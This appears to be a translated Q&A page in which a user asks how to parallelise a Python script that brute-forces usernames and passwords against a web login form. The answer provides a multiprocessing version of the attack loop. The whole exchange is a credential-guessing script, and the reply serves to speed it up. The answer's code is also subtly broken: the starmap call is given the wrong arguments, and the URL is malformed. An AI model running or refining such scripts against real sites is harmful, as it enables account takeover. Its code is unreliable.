拆分多个线程的任务

时间:2018-02-27 14:13:39

标签: python multithreading multiprocessing

我正在处理我的个人项目。我实际上是在python中强制执行程序。我已经做到了,但问题是现在我想通过添加一些线程来加快它。问题是程序有一个for循环,它为每个用户重复密码。所以在这一点上,如果我做一些线程并将主进程加入线程,它将什么都不做,只是重复相同的用户,每个线程的密码。但我不想要这个,我希望每个线程都有一个不同的用户,密码到bruteforce.Is有任何方法告诉线程抓住这个用户,密码,现在那个因为那个是另一个线程使用的。 谢谢。 这是代码:

import requests as r
user_list = ['a','b','c','d']
pass_list = ['e','f','g','h']
def main_part():
    for user,pwd in zip(user_list,pass_list):
        action_url = 'https:example.com'
        payload = {'user_email':user,'password':pwd}
        req = r.post(action_url,data=payload)
        print(req.content)

1 个答案:

答案 0 :(得分:0)

您可以使用多处理来执行您想要的操作。你只需要定义一个处理单个用户的函数:

def brute_force_user(user, pwd):
    action_url = 'https:example.com'
    payload = {'user_email':user,'password':pwd}
    req = r.post(action_url,data=payload)
    print(req.content)

然后像那样运行:

import multiprocessing
import os
from itertools import repeat

pool = multiprocessing.Pool(os.cpu_count() - 1)
results = pool.starmap(brute_force_user, user_list, pass_list)